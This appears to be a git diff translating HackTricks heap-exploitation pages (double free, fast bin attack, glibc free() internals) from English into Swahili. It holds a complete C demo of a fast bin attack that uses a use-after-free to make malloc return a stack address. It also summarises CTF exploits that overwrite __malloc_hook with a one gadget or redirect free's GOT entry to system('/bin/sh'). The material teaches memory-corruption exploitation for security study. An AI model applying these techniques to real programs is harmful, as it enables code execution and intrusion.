- Mahali moja ambapo anwani za PIE zinahifadhiwa ni katika `main_arena`, ambayo iko ndani ya Glibc na karibu na `__malloc_hook`
- Tunalenga offset maalum ya `main_arena` ili kugawa kipande huko na kuendelea kugawa vipande hadi kufikia `__malloc_hook` ili kupata utekelezaji wa msimbo.
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- We free `B`
- We free `A` and allocate again to use the null-byte overflow
- Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
- Kwa kutumia Tcache bins na overflow ya null-byte, tunaweza kufikia hali ya double-free:
- Tunagawanya vipande vitatu vya saizi `0x110` (`A`, `B`, `C`)
- Tunafungua `B`
- Tunafungua `A` na kugawa tena ili kutumia overflow ya null-byte
- Sasa uwanja wa saizi wa `B` ni `0x100`, badala ya `0x111`, hivyo tunaweza kuifungua tena
- Tuna Tcache-bin moja ya saizi `0x110` na moja ya saizi `0x100` ambazo zinaelekeza kwenye anwani sawa. Hivyo tuna double free.
- Tunatumia double free kwa kutumia [Tcache poisoning](tcache-bin-attack.md)
## References
## Marejeleo
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)

View File

@ -4,16 +4,15 @@
## Basic Information
For more information about what is a fast bin check this page:
Kwa maelezo zaidi kuhusu nini maana ya fast bin angalia ukurasa huu:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
As summary:
Kwa sababu fast bin ni orodha iliyo na viungo moja, kuna ulinzi mdogo zaidi kuliko katika bins nyingine na tu **kubadilisha anwani katika kipande kilichofutwa cha fast bin** inatosha kuwa na uwezo wa **kuweka baadaye kipande katika anwani yoyote ya kumbukumbu**.
Kama muhtasari:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
Unaweza kupata mfano kamili katika msimbo ulioelezewa vizuri kutoka [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include <stdio.h>
#include <string.h>
@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> Ikiwa inawezekana kubadilisha thamani ya kiambatisho cha kimataifa **`global_max_fast`** kwa nambari kubwa, hii inaruhusu kuunda vipande vya fast bin vya ukubwa mkubwa, ambayo inaweza kuruhusu kufanya mashambulizi ya fast bin katika hali ambazo hazikuwezekana hapo awali. Hali hii ni muhimu katika muktadha wa [large bin attack](large-bin-attack.md) na [unsorted bin attack](unsorted-bin-attack.md)
## Examples
## Mifano
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- Inawezekana kugawa vipande, kuvisafisha, kusoma maudhui yake na kuviweka (kwa udhaifu wa overflow).
- **Consolidate chunk for infoleak**: Mbinu hii ni kimsingi kutumia overflow kuunda `prev_size` bandia ili vipande vya awali viwe ndani ya kimoja kikubwa, hivyo wakati wa kugawa kimoja kikubwa kinachoshikilia kipande kingine, inawezekana kuchapisha data yake na kuvuja anwani kwa libc (`main_arena+88`).
- **Overwrite malloc hook**: Kwa hili, na kutumia hali ya awali ya overlapping, ilikuwa inawezekana kuwa na vipande 2 vilivyokuwa vinashikilia kumbukumbu ile ile. Hivyo, kuvisafisha vyote (kusafisha kipande kingine katikati ili kuepuka ulinzi) ilikuwa inawezekana kuwa na kipande kile kile katika fast bin mara 2. Kisha, ilikuwa inawezekana kukigawa tena, kubadilisha anwani ya kipande kinachofuata ili kiashirie kidogo kabla ya `__malloc_hook` (hivyo kiashirie kwa nambari ambayo malloc inadhani ni ukubwa wa bure - njia nyingine ya kupita), kukigawa tena na kisha kugawa kipande kingine ambacho kitapokea anwani kwa malloc hooks.\
Hatimaye **one gadget** iliandikwa humo.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Kuna overflow ya heap na matumizi baada ya kusafisha na kusafisha mara mbili kwa sababu wakati kipande kinapaswa kusafishwa inawezekana kutumia tena na kusafisha tena viashiria
- **Libc info leak**: Safisha tu baadhi ya vipande na vitapata kiashiria kwa sehemu ya eneo kuu la arena. Kwa kuwa unaweza kutumia tena viashiria vilivyofutwa, soma tu anwani hii.
- **Fast bin attack**: Viashiria vyote vya kugawa vinahifadhiwa ndani ya array, hivyo tunaweza kusafisha vipande kadhaa vya fast bin na katika la mwisho kubadilisha anwani ili kiashirie kidogo kabla ya array hii ya viashiria. Kisha, gawiwa vipande kadhaa vya ukubwa sawa na tutapata kwanza ile halali na kisha ile bandia inayoshikilia array ya viashiria. Sasa tunaweza kubadilisha viashiria vya kugawa ili kufanya anwani ya GOT ya `free` iashirie kwa `system` na kisha kuandika `"/bin/sh"` katika kipande 1 ili kisha kuita `free(chunk1)` ambayo badala yake itatekeleza `system("/bin/sh")`.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Mfano mwingine wa kutumia overflow ya byte moja kuunganisha vipande katika unsorted bin na kupata libc infoleak na kisha kufanya mashambulizi ya fast bin kubadilisha malloc hook na anwani ya one gadget
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Baada ya infoleak ikitumia unsorted bin na UAF kuvuja anwani ya libc na anwani ya PIE, exploit ya CTF hii ilitumia mashambulizi ya fast bin kugawa kipande katika mahali ambapo viashiria vya vipande vilivyodhibitiwa vilikuwa vimewekwa hivyo ilikuwa inawezekana kubadilisha viashiria fulani ili kuandika one gadget katika GOT
- Unaweza kupata mashambulizi ya Fast Bin yaliyotumiwa kupitia mashambulizi ya unsorted bin:
- Kumbuka kwamba ni kawaida kabla ya kufanya mashambulizi ya fast bin kutumia orodha za bure kuvuja anwani za libc/heap (wakati inahitajika).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Tunaweza tu kugawa vipande vya ukubwa mkubwa zaidi ya `0x100`.
- Badilisha `global_max_fast` kwa kutumia mashambulizi ya Unsorted Bin (inafanya kazi 1/16 kwa sababu ya ASLR, kwa sababu tunahitaji kubadilisha bits 12, lakini lazima tubadilishe bits 16).
- Mashambulizi ya Fast Bin kubadilisha array ya kimataifa ya vipande. Hii inatoa primitive ya kusoma/kandika isiyo na mipaka, ambayo inaruhusu kubadilisha GOT na kuweka baadhi ya kazi kuashiria kwa `system`.
{{#ref}}
unsorted-bin-attack.md

View File

@ -2,6 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
##
##
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Muhtasari wa Agizo la Bure <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(Hakuna ukaguzi ulioelezwa katika muhtasari huu na baadhi ya kesi zimeachwa kwa ufupi)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. Ikiwa anwani ni null usifanye chochote
2. Ikiwa kipande kilikuwa mmaped, mummap hiyo na kumaliza
3. Piga simu `_int_free`:
1. Ikiwa inawezekana, ongeza kipande kwenye tcache
2. Ikiwa inawezekana, ongeza kipande kwenye fast bin
3. Piga simu `_int_free_merge_chunk` ili kuunganisha kipande ikiwa inahitajika na kiweke kwenye orodha isiyo na mpangilio
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` inaita `__libc_free`.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- Ikiwa anwani iliyopitishwa ni Null (0) usifanye chochote.
- Angalia lebo ya pointer
- Ikiwa kipande ni `mmaped`, `mummap` hiyo na hiyo yote
- Ikiwa sivyo, ongeza rangi na piga simu `_int_free` juu yake
<details>
<summary>__lib_free code</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Inaanza na baadhi ya ukaguzi kuhakikisha:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- **pointer** ime **pangwa,** au inasababisha kosa `free(): invalid pointer`
- **size** si ndogo kuliko kiwango cha chini na kwamba **size** pia ime **pangwa** au inasababisha kosa: `free(): invalid size`
<details>
<summary>_int_free start</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Kwanza itajaribu kugawa kipande hiki katika tcache inayohusiana. Hata hivyo, baadhi ya ukaguzi hufanywa awali. Itapitia vipande vyote vya tcache katika index sawa na kipande kilichofutwa na:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- Ikiwa kuna entries zaidi ya `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- Ikiwa entry haijapangwa: free(): `unaligned chunk detected in tcache 2`
- ikiwa kipande kilichofutwa tayari kilikuwa kimefutwa na kiko kama kipande katika tcache: `free(): double free detected in tcache 2`
If all goes well, the chunk is added to the tcache and the functions returns.
Ikiwa kila kitu kinaenda vizuri, kipande kinaongezwa kwenye tcache na kazi inarudi.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Anza kwa kuangalia kwamba ukubwa ni mzuri kwa fast bin na kuangalia kama inawezekana kuiseti karibu na top chunk.
Then, add the freed chunk at the top of the fast bin while performing some checks:
Kisha, ongeza chunk iliyofutwa kwenye juu ya fast bin wakati unafanya baadhi ya ukaguzi:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- Ikiwa ukubwa wa chunk ni batili (kubwa sana au ndogo sana) trigger: `free(): invalid next size (fast)`
- Ikiwa chunk iliyoongezwa tayari ilikuwa juu ya fast bin: `double free or corruption (fasttop)`
- Ikiwa ukubwa wa chunk kwenye juu una ukubwa tofauti na chunk tunayoongeza: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
